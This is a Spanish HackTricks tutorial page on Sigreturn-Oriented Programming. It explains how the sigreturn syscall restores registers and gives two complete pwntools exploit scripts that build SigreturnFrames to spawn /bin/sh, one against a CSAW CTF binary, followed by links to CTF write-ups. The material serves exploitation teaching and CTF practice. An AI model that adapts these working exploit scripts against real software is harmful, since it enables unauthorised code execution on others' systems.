SROP - Sigreturn-Oriented Programming

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!

• Obtén merchandising oficial de PEASS & HackTricks

• Descubre La Familia PEASS, nuestra colección exclusiva de NFTs

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Información Básica

Sigreturn es una llamada al sistema especial que se utiliza principalmente para limpiar después de que un manejador de señales haya completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un manejador de señales, una función especial diseñada para tratar las señales.

Después de que el manejador de señales termina, el programa necesita resumir su estado anterior como si nada hubiera pasado. Aquí es donde entra en juego sigreturn. Ayuda al programa a regresar desde el manejador de señales y restaura el estado del programa limpiando el marco de la pila (la sección de memoria que almacena las llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.

La parte interesante es cómo sigreturn restaura el estado del programa: lo hace almacenando todos los valores de los registros de la CPU en la pila. Cuando la señal ya no está bloqueada, sigreturn saca estos valores de la pila, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.

Llamar a la llamada al sistema sigreturn desde una cadena ROP y agregar los valores de registro que nos gustaría que cargue en la pila es posible controlar todos los valores de los registros y, por lo tanto, llamar por ejemplo a la llamada al sistema execve con /bin/sh.

Observa cómo esto sería un tipo de Ret2syscall que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:

pageRet2syscall

Si tienes curiosidad, esta es la estructura sigcontext almacenada en la pila para luego recuperar los valores (diagrama de aquí):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Para obtener una mejor explicación, consulta también:

Ejemplo

Puedes encontrar un ejemplo aquí donde la llamada a signeturn se construye a través de ROP (colocando en rxa el valor 0xf), aunque este es el exploit final a partir de allí:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Revisa también el exploit desde aquí donde el binario ya estaba llamando a sigreturn y por lo tanto no es necesario construirlo con un ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Otros Ejemplos y Referencias

• https://youtu.be/ADULSwnQs-s?feature=shared

• https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop

• https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html

• Ensamblador binario que permite escribir en la pila y luego llama a la syscall sigreturn. Es posible escribir en la pila un ret2syscall a través de una estructura sigreturn y leer la bandera que está dentro de la memoria del binario.

• https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html

• Ensamblador binario que permite escribir en la pila y luego llama a la syscall sigreturn. Es posible escribir en la pila un ret2syscall a través de una estructura sigreturn (el binario tiene la cadena /bin/sh).

• https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html

• 64 bits, sin relro, sin canary, nx, sin pie. Desbordamiento de búfer simple abusando de la función gets con falta de gadgets que realiza un ret2syscall. La cadena ROP escribe /bin/sh en el .bss llamando a gets nuevamente, abusa de la función alarm para establecer eax en 0xf para llamar a un SROP y ejecutar un shell.

• https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html

• Programa de ensamblador de 64 bits, sin relro, sin canary, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros, llamar a una syscall y luego llamar a exit. La syscall seleccionada es un sigreturn que establecerá registros y moverá eip para llamar a una instrucción de syscall anterior y ejecutar memprotect para establecer el espacio binario en rwx y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a leer en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que al pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.

• https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection

• SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode.